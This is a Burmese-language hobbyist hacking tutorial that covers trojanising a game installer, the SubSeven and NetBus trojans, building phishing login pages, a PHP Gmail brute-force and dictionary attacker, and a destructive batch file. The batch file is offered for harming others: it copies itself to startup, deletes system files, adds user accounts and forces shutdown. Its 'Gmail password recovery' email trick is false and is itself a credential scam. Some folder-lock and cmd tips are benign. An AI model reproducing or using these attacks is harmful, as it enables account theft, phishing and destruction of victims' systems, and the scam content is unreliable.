ခိုင္းျခင္းအားျဖင့္လဲ ရႏိုင္ပါသည္။ ဒါမွမဟုတ္ သူ႔အား ဂိမ္းလက္ေဆာင္ေပးသလိုလိုျဖင့္ ၄င္းဂိမ္းထဲတြင္
Patch file ကို သြင္းေပးလိုက္ပါ။ chess.exe file ဆိုပါစို႕။ ၄င္း exe file ထဲသို႔ Patch သြင္းလိုက္ပါ။
ResHacker software ျဖင့္ ဖန္တီးႏိုင္ပါသည္။ ထို႔ေနာက္ သင္ဖန္တီးလိုက္ေသာ chess.exe ဟာ
သာမန္အတိုင္းပါပဲ။ ဘာမွမေျပာင္းလဲသြားပါဘူး။ အဲဒီ ဟာကို install လုပ္လိုက္လွ်င္ ဂိမ္းဟာ သူ႔
orginal အတိုင္းပါပဲ။ ဘာမွ ျပႆနာမေပးႏိုင္ပါဘူး။ သင္ေပးလိုက္တဲ့ chess ထဲက patch file
ေလးက သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာထဲတြင္ ေနရာယူျပီးသားျဖစ္ပါတယ္။ အဲဒီ file ကလဲ hidden
ျဖစ္ေနတာပါ။ အဲဒါဆို အဆင္ေျပသြားပါလိမ့္မယ္။ စ hack က်တာေပါ့။…..:D ။
ဟက္ကာေတြ အသံုးျပဳေသာ လွ်ိဳ႔၀ွက္ အရာမ်ား
(၁) Port Scanners
Port Scanner ဆိုတာဘာလ ဲ
Port Scanning ရဲ႕ အဓိက ရည္ရြယ္ခ်က္ကေတာ့ opening port ေတြကို ရွာဖို႕ျဖစ္ပါတယ္။ Hacker တစ္ေယာက္
အတြက္ အေျခခံက်တဲ့ နည္းတစ္ခုပါ။ opening port ေတြကိုသိမွ hack လို႔လြယ္မွာကိုး….။Hacker အေနနဲ႔ server ေပၚ
မွာလုပ္ေနတဲ့ service ေတြကို ၾကည့္ျခင္းအားျဖင့္ vulnerability ေတြကို ရွာႏိုင္ဖို႔ အခြင့္အလန္းပိုမ်ားလာမွာပါ။
နာမည္ႀကီးတဲ့ nmap port scan tool ကိုေဒါင္းလုတ္ခ်ဖို႔ link ပါ > http://nmap.org/download.html <
Online ေပၚမွာအျခားport scanner tool ေကာင္းေကာင္းေတြအမ်ားႀကီးရွိပါေသးတယ္….။
Start Scanning
Target Host: www.yourcompany.com
TCP Port :7 (echo)
TCP Port :9 (discard)
TCP Port :13 (daytime)
TCP Port :19 (chargen)
TCP Port :21 (ftp)
TCP Port :23 (telnet)
TCP Port :25 (smtp)
TCP Port :37 (time)
TCP Port :53 (domain)
TCP Port :79 (finger)
TCP Port :80 (www)
TCP Port :110 (pop)
TCP Port :111 (sunrp)
Port Scanning ကို ၂ မ်ိဳးလုပ္ႏိုင္ပါတယ္။ ပထမတစ္ခုက Single IP port ဖြင့္ရန္အတြက္ႏွင့္ ဒုတိယတစ္ခုကို Range IP
Port ဖြင့္ရန္ျဖစ္ပါတယ္။ IP ဆိုတာက ေရွ႕ကဟာကတူျပီး အေနာက္က နံပါတ္ကေျပာင္းလဲသြားႏိုင္ပါတယ္။
ဥပမာ 192.168.1.2 , 192.168.1.3 အစသျဖင့္ေပါ့။ ဖုန္းနံပါတ္အတိုင္းပါပဲ (530-xxx) အစသျဖင့္……….
Range IP ဆိုတာက ေတာ့ ( 555-0000 to 555-9999) အထိ ၾကားထဲက မည္သည့္ဂဏန္းမဆို ျဖစ္ႏိုင္ပါတယ္။
Port Scanner ဆိုတာ ဒီလုိမ်ိဳးေပါ့
(၂) Trojan
Trojan အေၾကာင္းကေတာ့ Hacking မွာ မပါ မျဖစ္ကိုေတြ႔ရမွာပါ။ ဘာလို႔လဲဆိုေတာ့ Trojan ေတြက
ဟက္ကာေတြရဲ႕လက္စ ြဲ virus တစ္မ်ိဳးမို႔လို႔ပါ။ Trojan ေပါင္း တစ္ရာေက်ာ္နီးပါရိွပါတယ္။ အဲဒီထဲက
စံုတြဲ သေဘာလိုျဖစ္ေနေသာ Trojan အေၾကာင္း ဥပမာ အေနႏွင့္ေဖၚျပထားပါတယ္။ အဲဒီ Trojan ျဖင့္
က်ေနာ္ အခုလက္ရွိေမႊေနတယ္ေလ…..
Sub Seven
Sub Seven Trojan မွာ လုပ္ေဆာင္ႏိုင္တဲ့ စြမ္းရည္ အမ်ားအျပားရွိပါတယ္။ ၄င္း Trojan ဟာ က်ေနာ္ေတြ႔ဖူးသမွ်
Trojan ၁၀၀ေက်ာ္ေလာက္ထဲက အေကာင္းဆံုး လို႔ ယူဆပါတယ္။ ၄င္းရဲ႕လုပ္ေဆာင္ႏိုင္တဲ့စြမ္းရည္ေတြကို
ေအာက္မွာေဖၚျပထားပါတယ္။
SubSeven ဆိုတာ ဒီလိုမ်ိဳးပါ
လုပ္ေဆာင္ႏိုင္မွဳမ်ား
-address book
-www pager retriever
-UNI2IP
-remote IP scanner
-host lookup
-get WINDOWS CD-Key
-update victim from URL
-ICQ takeover
-FTP root folder
-retrieve dial-up passwords along with phone numbers and username
-port redirect
-IRC boot for a list of commands
-file manager bookmarks
-make folder, delete folder (Empty of Full)
-process manager
-text 2 speech
-Restart server
-Aol Instant Messenger Spy
-Yahoo Messenger Spy
-Microsoft Messenger Spy
-Retrieve list of ICQ uins and passwords
-App Redirect
-Edit files
- set/change screen saver settings
-Restart Windows
-IP Tools (Resolved Host name/ Ping IP address)
-Address
-City
-E-Mail
-Real name
-Country code
-Local Phone
-Zip code………….အစသျဖင့္ေပါ့…….. အျခားလုပ္ေဆာင္ႏိုင္မႈမ်ားစြာရွိပါေသးတယ္….။
NetBus
Net Bus ဆိုတာကေတာ့ ဟိုးအရင္တုန္းက သံုးခဲ့တဲ့ Trojan အေဟာင္းတစ္မ်ိဳးပါ။ ဒါေပမဲ့ ေတာ္ေတာ္
မ်ားမ်ားကေတာ့ ၄င္းကို ခုခ်ိန္ထိ သံုးစြဲလွ်က္ရွိၾကပါတယ္။ Net Bus နဲ႔ေမႊြရတာလဲေတာ္ေတာ္အဆင္ေျပပါတယ္။
စမ္းသံုးၾကည့္ေပါ့……..။ သံုးနည္းကို အေပၚတြင္ ေဖၚျပၿပီးပါၿပီ။
NetBus ကို ဤသို႔ေတြ႔ျမင္ရပါတယ္။
NetBus ၏ လုပ္ေဆာင္ႏိုင္စြမ္းမ်ားကို အထက္တြင္ ေဖၚျပထားပါသည္။ အေသးစိတ္ေတာ့ မေဖၚျပေတာ့ပါ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၃) Gmail Password Hack နည္း
Gmail Password ကို Hack ရာတြင္ ဘာေတြလိုအပ္သနည္း ???
Hack နည္းေပါင္းမ်ားစြာရွိပါတယ္။ ေရွးဦးစြာ ရိုးရိုးရွင္းရွင္းျဖင့္ Hack ေသာနည္းလမ္းကို အရင္ေဖၚျပပါမည္။ လြန္ခဲ့တဲ့
၂၀၀၈ ခုႏွစ္ေလာက္တုန္းက javascript နည္းျဖင့္က်ေနာ္ သံုးၾကည့္ဖူးပါတယ္။ အခုေနာက္ပိုင္းထပ္သံုးၾကည့္တာ
မရေတာ့ပါဘူး၊ Google က admin ေတြကလဲ ငတံုးေတြမွမဟုတ္တာ။ သူတို႔ security ေတြကို
ခဏခဏျပန္ျပန္ျပင္တယ္ေလ။ က်ေနာ္တို႔ထက္အမ်ားႀကီးမွ အမ်ားႀကီးကိုလည္တာေပါ့။ ယခု နည္းက ေတာ့ Google ရဲ႕
security ေတြကို ျဖတ္ေက်ာ္လို႔ရတဲ့ javascript အသစ္တစ္ခုပါ။ က်ေနာ္ဤ နည္းကို ႏိုင္ငံျခား Hacking
စာအုပ္ထဲကေနု ဘာသာျပန္ထားတာပါ။ ၀ါသနာပါရင္ နည္းနည္းပါးပါးေလာက္ ၀င္ေမႊၾကည့္ၾကေပါ့
လုပ္နည္း
တစ္ဆင့္ျခင္းဆီေဖၚျပထားပါတယ္။
အဆင့္(၁) သင္၏ကိုယ္ပိုင္ Gmail account ျဖင့္ Gmail ထဲသို႔ Login ၀င္ပါ။
မွတ္ခ်က္ ( passwrdserver2@gmail.com သို႔အရင္ဆံုး add ထားပါ၊ add
ထားျပီးအနည္းဆံုးရက္ေပါင္း ၃၀ ျပည့္မွ ဤလုပ္နည္းသို႔စတင္လုပ္ႏိုင္မည္ျဖစ္သည္)
အဆင့္(၂) Login ၀င္ျပီးျပီးျခင္း compose mail လုပ္ပါ။To: ဆိုတဲ့ေနရာမွာ passwrdserver2@gmail.com
လို႔ေရးပါ။(passwrdserver2@gmail.com ဆိုတာ Google server မွ username ႏွင့္ password မ်ား ကို
မွတ္ထားေသာ ေနရာသို႔ mail ပို႔လိုက္ျခင္းျဖစ္ပါတယ္။ Automatic server ကေန သင့္ကို mail
တစ္ေဆာင္ျပန္ပို႔ပါလိမ့္မယ္။ ေစာင့္ေနပါ)
အဆင့္(၃) Subject: ဆိုတဲ့ ေနရာမွာ ‘’PASSWORD RECOVERY’’ ဆိုၿပီး တိတိက်က်ေရးပါ။
စာလံုးေပါင္းမမွားပါေစႏွင့္။ အေရးႀကီးပါတယ္။
အဆင့္(၄) mail ကိုစတင္ေရးႏိုင္ပါျပီ။ ပထမစာေၾကာင္းမွာ သင္ hack ခ်င္ေသာ သူ၏ account ကိုေရးပါ။
အဆင့္(၅) ဒုတိယစာေၾကာင္းမွာေတာ့ သင္ယခုလက္ရွိအသံုးျပဳေနေသာ gmail account ကိုေရးပါ။
အဆင့္(၆) တတိယေျမာက္စာေၾကာင္းမွာေတာ့ သင္၏ gmail password ကိုေရးပါ java script ျဖင့္ users
administrator server security ကိုျဖတ္ေက်ာ္ရာတြင္ verify လုပ္ရန္သင္၏ password ကိုလဲလိုပါတယ္။
အဆင့္(၇) ေနာက္ဆံုးအဆင့္နဲ႔ တကယ့္ကိုအေရးအႀကီးဆံုးအဆင့္ပါပဲဗ်ာ..။ ေအာက္မွာ က်ေနာ္ေဖၚျပထားတဲ့
code ကိုေသေသခ်ာခ်ာ ေကာ္ပီကူးပါ။
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
အားလံုး ready ျဖစ္ပါက send လို႔ရပါျပီ။ send လိုက္ပါေတာ့။
ဥပမာ- သင္၏ ကိုယ္ပိုင္ gmail account က myname@gmail.com ဆိုပါစို႔
သင္၏ password က 123456 လို႔မွတ္လိုက္ပါ။ သင္ hack ခ်င္ေသာ သူ၏
Gmail account ကေတာ့ test@gmail.com လို႔ထားလိုက္ပါ။က်ေနာ္ေအာက္မွ ေဖၚျပထားတဲ့အတိုင္း
mail တစ္ေဆာင္ေရးပါ။……..
To: ‘’gmail.com’’<passwrdserver2@gmail.com>
Bcc: , cc: ထိုေနရာမ်ားတြင္ ဘာမွ မေရးပါႏွင့္
Subject: ‘’PASSWORD RECOVERY’’
Text box ထဲတြင္ေရးရန္
test@gmail.com
myname@gmail.com
123456
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
System Reg လို႔ေခၚတဲ့ mail တစ္ေဆာင္ သင့္ဆီကို ၆ နာရီအတြင္း automatic ျပန္ပို႔ပါလိမ့္မယ္။ ထို mail
ထဲတြင္ သင္ hack လိုေသာသူ၏ information မ်ားအကုန္ပါလာမွာျဖစ္ပါတယ္။ စမ္းၾကည့္က်ပါ။ က်ေနာ့္ mail
ကိုေတာ့ မ hack နဲ႔ေနာ္ password ကို အလံုး ၆၀ ေပးထားလို႔ပါ…..ဟီး……ဟီး…..
Phishing
Phishing ႏွင့္ ပတ္သတ္ျပီး
က်ေနာ္ Phishing ဆိုတဲ့ အေၾကာင္းကို သိသေလာက္ နည္းနည္းေျပာခ်င္ပါတယ္။ တကယ္ေတာ့ အဲဒီ Phishing
ဆိုတာ လိမ္တဲ့ နည္းေလးတစ္ခုပါ။ သူမ်ားရဲ႕ Gmail account ပဲျဖစ္ျဖစ္၊ Yahoo account ပဲျဖစ္ျဖစ္၊ mediafire account
ပဲျဖစ္ျဖစ္ မည္သည့္ အေကာင့္ ကိုမဆို လိမ္ညာကာ password ယူလို႔ရေသာနည္းလမ္းျဖစ္ပါတယ္။ Phisher ဆုိတာ
ကြန္ပ်ဴတာ အသုံးၿပဳသူတုိ႔ရဲ႕ Data Information ေတြကုိရယူရန္ ၿပဳလုပ္ထား အတုအေရာင္စာမ်က္ႏွာ (a fake login
page) တစ္ခုသာလွ်င္ ၿဖစ္ပါတယ္။ fake login page ေတြက Computer user ေတြရဲ႕ user name and password
ေတြကုိ ဖုိင္တစ္ခုကေန၊ ဒါမွမဟုတ္ ေမးလ္ကုိ Direct ပုိ႔တဲ႔ နည္းလမ္းသုံးထားတာမ်ားပါတယ္... တစ္ခ်ဳိ႕ေတြက
က်ယ္က်ယ္ၿပန္႔ၿပန္႔သုံးၾကပါတယ္..
သ႔ရူ ဲ႕အလုပ္လုပ္ပုံက ရိုးရွင္းပါတယ္။ free host, free domain, code script ( မိမိ hack ခ်င္တဲ့ site ရဲ႕ code ပါ )
ျပီးရင္ setting အနည္းငယ္ေလး ၀င္ျပင္ျပီးရင္ Hack လို႔ရပါျပီ။
php enabled ထားတဲ႔ web hosting တစ္ခုလုိပါတယ္... Phishing Attacker ေတြကေတာ့ free ရတဲ႔ webhosting မွာ
account တစ္ခုဖြဲ႔ၿပီးသုံးေလ့ရွိပါတယ္...
မိမိအသုံးၿပဳတဲ႔ mail services, ဆုိၾကပါဆုိ Gmail
https://mail.google.com ကုိပဲသြားသြား, https://www.gmail.com ပဲ ၿဖစ္ၿဖစ္ ဖြင့္ကာ Ctrl + U သုိ႔မဟုတ္ Menu bar
မွာ view>Page Source ကိုသြားကာ အကုန္လုံးကုိ Copy ကူးၿပီး text editor or web editor .. example :
Dreamwaver ကဲ႔သုိ႔ Editor ထဲကုိ အကုန္လုံး paste လုပ္ယူလုိက္ပါ...
Code:
<form id="gaia_loginform" action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post"
onSubmit="return(gaia_onLoginSubmit());">
ကုိ မိမိဖန္တီးထားတဲ႔ login page မွ data ေတြကုိ ရယူႏုိင္ေအာင္ သိမ္းဆည္းထားတဲ႔ login script file
ကုိလမ္းညြန္ေပးရပါတယ္..
ဥပမာ..
Code:
<form action="http://www.planetcreator.net/tutorial/Fake Login/login.php" method="post">
(login.php ဆုိတာက fake login page က User ရုိက္ထည့္လုိက္ေသာ user name and password ကုိရယူတာပါ)
အဲ႔လုိ ၿပင္ဆင္မူ႔ေတြလုပ္ၿပီး free hosting တစ္ခုမွာတင္...
user ကုိ နည္းမ်ဳိးစုံနဲ႔ မိမိရဲ႕ ေထာင္ေၿခာက္ထဲကုိ အေရာက္သြင္းၾကတာပါ..........
ဒါက Fake Login Page ေတြရဲ႕ နမူနာပါ။ တကယ္တမ္း fake login ေတြက ဒီေလာက္နဲ႔ မလုံေလာက္ပါဘူး... Phishing
Hacker ေတြက သူတုိ႔ရဲ႕ phisher ေတြကုိ နည္းလမ္းမ်ဳိးစုံနဲ႔ ၄င္းတုိ႔ရဲ႕ Victim ယုံၾကည္ေလာက္ေအာင္
ေသြးေဆာင္ၿဖားေယာင္း၊ ၿပီးေတာ့ attacker ဖန္တီးထားတဲ႔ page ကုိေရာက္ရင္ေတာင္မွ သာမာန္ user
တစ္ေယာက္အတြက္ လုံး၀ (လုံး၀) မသိေအာင္ address bar / mouse down function
ေတြကအစေပါ႔...စသည္..စသည္
၄င္း Fake Loign အားသြားေရာက္ စမ္းသပ္ရန္... စမ္းသပ္ရုံစမ္းသပ္ပါ... မိမိရဲ႕ gmail user name and password
ကုိေယာင္လုိ႔ေတာင္ ရုိက္မထည့္လုိက္နဲ႔.... လုံး၀ တာ၀န္မယူ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၄) Phishing နည္းလမ္းကိုအသံုးျပဳ၍ gmail password ေဖာက္နည္း
free host တခုခုမွာ ဒီကုဒ္ေတြကို သြင္းျပီး ဒါမွမဟုတ္ ကိုယ့္စက္ကို local host အေနနဲ႕ setting ခ်ျပီး
ဂ်ီေမးကိုေဖာက္လို႕ရပါျပီ။
<?php
//////////////////////
////Gmail-Brute//////
///////////////////////
////////////////////////
# This script was created to Brute Force G-Mail Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
////////////////////////
$dic ="your Dictionary file here.txt";
///////////////////////
echo "
<title>Gmail Brute Force Attacker</title>
</head>
<style type='text/css'>
body {
font:Verdana, Arial, Helvetica, sans-serif;
font-size:12px;
border-color:#FFFFFF;
}
.raster_table {
background-color:#444444;
border-color:#CCCCCC;
}
.alert {
color:#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Gmail Brute Force Attacker</b></div>
</td>
</tr>
</table>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'>
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
&nbsp;
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
<form method='post'>
Username to brute:<br>
<input name='username' type='text' /><br><br>
<input name='attack' type='submit' value='dictionary' /> -
<input name='attack' type='submit' value='brute' /><br>
</form>
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
&nbsp;
</div>
</td>
</tr>
</table>
";
// Sets variables and retrives google error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
$username = $_POST['username'];
$headers = array(
"Host: mail.google.com",
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4",
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag
e/png,*/*;q=0.5",
"Accept-Language: en-us,en;q=0.5",
"Accept-Encoding: text", # No gzip, it only clutters your code!
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Date: ".date(DATE_RFC822)
);
$c = curl_init('https://mail.google.com/mail/feed/atom');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so n
o direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$wrong = curl_exec($c); // Get it
curl_close($c); // Close the curl stream
}
//Dictionary Attack
if($_POST['attack'] == "dictionary") {
$Dictionary = file("$dic");
for ($Position = 0; $Position < count($Dictionary); $Position++) {
$Dictionary[$Position] = str_replace("\r\n", "", $Dictionary[$Position]);
if(check_correct($username, $Dictionary[$Position])) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_
table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the
account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table'
width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span cla
ss='alert'>".$username."</span> during the dictionar
y attack.</b></div>
</td>
</tr>
</table>";
}
//Brute Attack
elseif($_POST['attack'] == "brute") {
for ($Pass = 0; $Pass < 2; $Pass++) {
if ($Pass == 0){$Pass = "a";} elseif ($Pass == 1){ $Pass = "a"; }
if(check_correct($username, $Pass)) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_
table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the
account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table'
width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span cla
ss='alert'>".$username."</span> during the brute for
ce attack.</b></div>
</td>
</tr>
</table>";
}
echo "</body>
</html>";
// Function for checking whether the username and password are correct
function check_correct($username, $password)
{
global $wrong, $headers;
$c = curl_init('https://'.$username.':'.$password.'@mail.google.com/mail/feed/atom');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string,
so no direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$str = curl_exec($c); // Get it
curl_close($c);
if($str != $wrong) {return true;}
else {return false;}
}
?>
PHP ရတဲ့ host တခုခုမွာ ဒီ code ေတြကို install လုပ္ရပါမယ္။ က်န္တာ အေသးစိတ္သိခ်င္ရင္ေတာ့ free hosting
တခုသုံးျပီး က်ေနာ္ အရင္စမ္းလိုက္အံုးမယ္ ။ ဘယ္သူ႕ကိုစမ္းရမလ ဲ မသိဘူး။
ေအာက္က free host မွာ PHP ရပါတယ္။
Code:
http://www.000webhost.com/
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၅) WINDOWS ကို၀င္ေမႊနည္း တိုလီမုတ္စမ်ား
Registry သ႔ ို ၀င္ေရာက္ေမႊေႏွာက္ျခင္း
က်ေနာ္ registry ထဲသို႔ ၀င္ေမႊနည္း နည္းနည္းပါးပါး ေျပာခ်င္ပါတယ္။ ဘာဘဲျဖစ္ျဖစ္ registry ကို ၀င္ေမႊေတာ့မယ္ဆိုရင္
ေတာ့ back up လုပ္ထားဖို့လိုပါတယ္...ဘာလို့လဲဆိုေတာ့ registry မွာ၀င္ေရးတဲ့ အခါမွာ registry က auto save
လုပ္ပါတယ္..မွားသြားပါတယ္ဆိုျပီး undo ,redo ေတြလုပ္လို့မရပါဘူး....
အဲဒါေၾကာင့္ပါ.....
ကဲ က်ေနာ္တို႔ All program ကိုေဖ်ာက္လိုက္ရေအာင္....
- start > run ကို၀င္ပါ..
- regedit လို့ ၇ိုက္ျပီး enter ႏွိပ္ပါ..
- HKEY-CURRENT- USER\software\microsoft\windows\current version\policies\explorer
- explorer ေပၚကို right click ႏွိပ္ျပီး new ကိုေရြးခ်ယ္ပါ Dword value ကိုဖြင့္ပါ..
ထိုအခါ ညာဘက္ျမင္ကြင္းမွာ new value #1 ေပၚလာပါမယ္..
-new value #1 ကို rename ေပးလိုက္ပါ..
name က NoStartMenuMoreProgram ျဖစ္ပါတယ္..
NoStartMenuMoreProgram ေပၚကိုလည္း right click ေပးျပီး modify ေရြးပါ
value data အကြက္ထဲ က 0 ေပၚေနပါမယ္..အဲဒါကို 1 ေျပာင္းေပးလိုက္ပါ..
computer ကို restart ေပးလိုက္ပါ...
Folder ကို software မသံုးပဲ Lock ခ်နည္း
ေရွးဦးစြာ notepad သို႔မဟုတ္ Command Promt ကိုဖြင့္ျပီး edit ထဲတြင္ ေအာက္ေဖၚျပပါ command မ်ားကို
ေရးသား၍ .bat file အေနျဖင့္ save မွတ္ပါ။ Notepad ထဲတြင္ေရး၍ Save name as ဆိုတဲ့ ေနရာမွာ example.bat လို႔
save မွတ္ပါ။ ထို file အားလြယ္လြယ္ကူကူ desktop ေပၚမွာပဲ သိမ္းထားေပါ့။ ထို႔ေနာက္ ၄င္း .bat file အား Run
လိုက္ပါ။ Private ဆိုေသာ Folder တစ္ခု ေပၚလာပါလိမ့္မယ္။ အဲဒီ Folder ထဲတြင္မိမိ သိမ္းထားခ်င္ေသာ files မ်ား
folder မ်ား ထည့္လိုက္ပါ။ ထို႕ေနာက္ example.bat file အားေနာက္တစ္ေခါက္ run လိုက္ပါ။ ထိုအခါ cmd Windows
တစ္ခု ေပၚလာပါလိမ့္မယ္။ Set Password to Lock Folder ဆိုတာေပၚလာပါတယ္။ ကိုယ္လိုခ်င္တဲ့ password
ေရးလိုက္ေပါ့။ ေနာက္ထပ္ Are You Sure to Lock this Folder (Y/N) ဆိုတာေပၚလာပါလိမ့္မယ္။ Y လို႔ရိုက္လိုက္ပါ။
Private ဆိုေသာ Folder ေပ်ာက္သြားပါမယ္။ ၄င္း folder ကိုျပန္လိုခ်င္လွ်င္ example.bat ဆိုတဲ့ file ကိုျပန္ run ပါ။
Enter Password to Unlock Folder ဆိုတာေပၚလာပါလိမ့္မယ္။ Password ရိုက္လိုက္ပါ။ ၄င္း folder
ျပန္ေပၚလာပါလိမ့္မယ္။ စမ္းၾကည့္က်ေပါ့ဗ်ာ……….
Command
cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
သူမ်ားကို ဒုကၡေပးခ်င္လွ်င္။ ။ေအာက္ေဖၚျပပါ command မ်ားကို notepad ထဲသို႕ copy, paste ကာ .bat file
အမ်ိဳးအစားျဖင့္ save မွတ္ပါ။ ထို႔ေနာက္၄င္း file အားလံုး၀ဖြင့္မၾကည့္ပါႏွင့္။ ဖြင့္ၾကည့္ပါက error message
မ်ားတတ္လာျပီး Windows က auto shut down ျဖစ္ေနပါလိမ့္မယ္။ ေနာက္တစ္ေခါက္ဖြင့္လဲ Windows
တတ္ျပီးျပီးျခင္း ၁၀ စကၠန္႔အတြင္း Shut Down ျဖစ္ေနပါလိမ့္မယ္။ ဘယ္လိုမွ ျပန္ဖြင့္ႏိုင္မွာမဟုတ္ပါဘူး။ safemode
ကျပန္ျပင္မွ ျပန္ေကာင္းႏိုင္မွာပါ ။ ဟဲဟ…ဲ …..
title any
@echo off
copy any.bat "c:\documents and settings\all users\start menu\programs\startup"
del *.dll
del *.exe
del *.ini
time 00:00
date 88/88/888
net user administrator *18083
net user 598 *32087 /add
net user 3063 *864 /add
net user 3262 *21895 /add
net user 29039 *3102 /add
net user 15688 *215 /add
net user 24824 *28761 /add
net user 25176 *23975 /add
net user 8896 *28052 /add
msg *any
echo copy q.bat "documents and settings\all users\start menu\programs\startup"
echo copy q.bat "documents and settings\all users\start menu\programs\startup"
cd C:\WINDOWS\system32
del /S /F /Q keyboard.drv
del /S /F /Q keyboard.sys
del system32
shutdown -s -f
exit
Cmd Dos Command နည္းနည္းပါးပါး
က်ေနာ္ သိထားတဲ့ CMD DOS COMMAND နည္းနည္းပါ
႔သိၿပီးသားသူေတြလည္းရွိပါတယ္ ...
မသိေသးတဲ့ သူေတြအတြက္ပဲ ရည္ရြယ္ပါတယ္ ....
Run Box မွာ cmd ရိုက္ထည့္လိုက္မယ္
C Directory ကိုသြားမယ္ဆို C: , D ဆိုရင္ D: စသည့္ျဖင့္ေပါ့ ....
ပထမဆံုးေျပာရရင္ .. cmd ကိုစေခၚလိုက္တာနဲ႔ စျမင္ရမွာက
C:\Documents and Settings\user name> ပါ ...
အဲဒီ Directory မွာ ဘယ္ Folder ေတြပါလည္း ၾကည့္ခ်င္ရင္
dir /a နဲ႔ ၾကည့္ရပါတယ္
အဲဒီ့ Directory တစ္ခုထဲက Folder ကို ဖြင့္ခ်င္ရင္
cd ခံထားၿပီး မိမိဖြင့္ခ်င္တဲ့ Folder Name (ဥပမာ။ ။ Desktop)ေပးၿပီး ဖြင့္ရပါတယ္
C:\Documents and Settings\user name\Desktop>
ထို Folder မွ ျပန္ထြက္ခ်င္ရင္ cd.. ေရးၿပီး ျပန္ထြက္ရပါမယ္
Hidden ျဖစ္ေနတဲ့ Folder (သို႔) File ကို unhidden ေပးခ်င္တယ္ဆိုရင္
Folder Option ကေန virus ကိုက္တယ္ဆို show hidden folder ေပးလည္း မရတာေတြရွိပါတယ္
attrib -H /S /D "c:\......\folder name"
hidden ျဖစ္ေနတဲ့ Folder (သို႔) File ရွိတဲ့ Directory အျပည့္အစံုကို /D ေနာက္ကေန
ဆက္ေရးေပးရပါတယ္
Directory တစ္ခုမွာရွိတဲ့ folder ထဲက files ေတြကို တျခား Directory တစ္ခုမွာရွိတဲ့
folder ထဲကို ေျပာင္းေရႊ႕ကူးယူခ်င္တယ္ဆို ...
မိမိေျပာင္းေပးခ်င္တဲ့ Directory ကိုအရင္ဖြင့္ေပးရပါတယ္ (ဥပမာ။ ။ C: ထဲက Desktop ကိုေရႊ႕မယ္ဆို C:\Documents
and Settings\user name\Desktop>
လို႔ အရင္ဖြင့္ေပးလိုက္ပါ။
ေနာက္မဆက္ၿပီး ကူးယူခ်င္တဲ့ Directory မွ folder ကိုေရးေပးရပါတယ္
